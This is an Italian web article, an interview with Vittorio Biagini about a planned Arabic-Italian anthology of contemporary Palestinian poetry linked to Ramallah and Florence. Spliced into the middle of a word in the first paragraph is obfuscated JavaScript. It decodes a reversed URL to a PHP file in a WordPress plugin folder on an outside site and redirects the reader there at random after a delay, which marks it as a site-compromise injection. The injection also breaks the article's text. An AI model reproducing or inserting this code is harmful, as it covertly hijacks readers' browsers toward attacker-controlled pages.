Poesie tra Ramallah e Firenze

image_pdfimage_print

Poco più di un anno fa, nel bellissimo Cenacolo di Santa Croce, due poeti palestinesi, Yousef Al Mahmoud e Somaya Al Soosy, incantarono il pubblico fiorentino recit (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando in arabo le loro liriche. Di lì a poco ha preso corpo un ambizioso progetto, tutt’ora in corso, promosso dalla Casa della Poesia di Ramallah e sostenuto dal Laboratorio Nuova Buonarroti, dall’ARCI, dal Centro Studi “La Pira” e dal Comune di Firenze, quello di realizzare un’antologia di poesia palestinese nella duplice versione araba e italiana. Ne parliamo con Vittorio Biagini, uno dei promotori dell’iniziativa.
Perché un’antologia della poesia palestinese?
Innanzitutto perché non esiste a livello mondiale una raccolta che documenti la produzione poetica palestinese successiva agli anni ’50. La poesia è un elemento importante dell’identità culturale di un popolo, ma lo è particolarmente nel caso della Palestina: in una situazione segnata dalla sconfitta, dalla perdita della patria, dalla sopravvivenza in condizioni di minorità e di emarginazione, la parola poetica diventa segno forte di identità, strumento di custodia della memoria a dispetto del dramma quotidiano. La nazione palestinese presenta un numero molto alto di poeti in rapporto alla popolazione e dopo la “hazimah” (la disfatta) del 1967 la produzione poetica è diventata molto più ricca: emerge un gran numero di autori, con una decisa volontà di tentare nuove modalità espressive. È a partire dagli anni ’80 che questa poesia nuova raggiunge i suoi risultati più maturi, imponendosi, con alcuni scrittori, all’attenzione di tutto il mondo arabo (si possono citare Waleed Khazindar, Zakariyya Muhammad, Taher Ryad, Ghassan Zaqtan, Yousef Al Mahmoud, Al-Mutawakel Taha e la giovane Somaya Al-Soosy). Questa importante realtà letteraria non è comunque adeguatamente conosciuta. Non lo è certamente all’estero ma non lo è nemmeno in Palestina, viste le enormi difficoltà politiche ed economiche che impediscono in essa lo sviluppo di una realtà editoriale forte e ostacolano in generale le attività culturali. Difficile è soprattutto raccogliere e diffondere la produzione emergente, data anche la dispersione degli scrittori (nei territori, in Israele, nei campi profughi di altri stati arabi, nell’emigrazione). E mancano comunque opere che diano un panorama complessivo della situazione contemporanea.
Quali sono i temi più ricorrenti?
La poesia palestinese non ha solo un significato di testimonianza, ma anche un notevolissimo spessore letterario, distinguendosi nel panorama delle letterature di lingua araba per la varietà di espressioni, la raffinatezza formale, la consapevolezza delle esperienze internazionali più avanzate. Certamente la poesia palestinese è molto “diretta”, in quanto carica di emozioni, fortemente legata all’immagine, dominata da alcuni ben precisi temi (la bellezza della propria terra, il sentirsi stranieri anche all’interno dei suoi confini, il conflitto, la condizione dell’esilio), ma non per questo essa si abbandona ad un’espressione ingenua. Emerge da questa lirica una condizione di esistenza piena, culturalmente raffinata, che confrontandosi con la particolare esperienza dell’oppressione, della lotta e dell’esilio, sa divenire immagine di una situazione universale secondo una grande ricchezza di prospettive e di toni.
In che forma partecipa la comunità palestinese di Firenze?
Ovviamente la comunità palestinese di Firenze ha un ruolo molto importante: svolge una funzione di raccordo, tiene i contatti con Ramallah, ha dato un aiuto per la revisione dei testi. Certamente i palestinesi di Firenze hanno accolto molto positivamente l’iniziativa.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *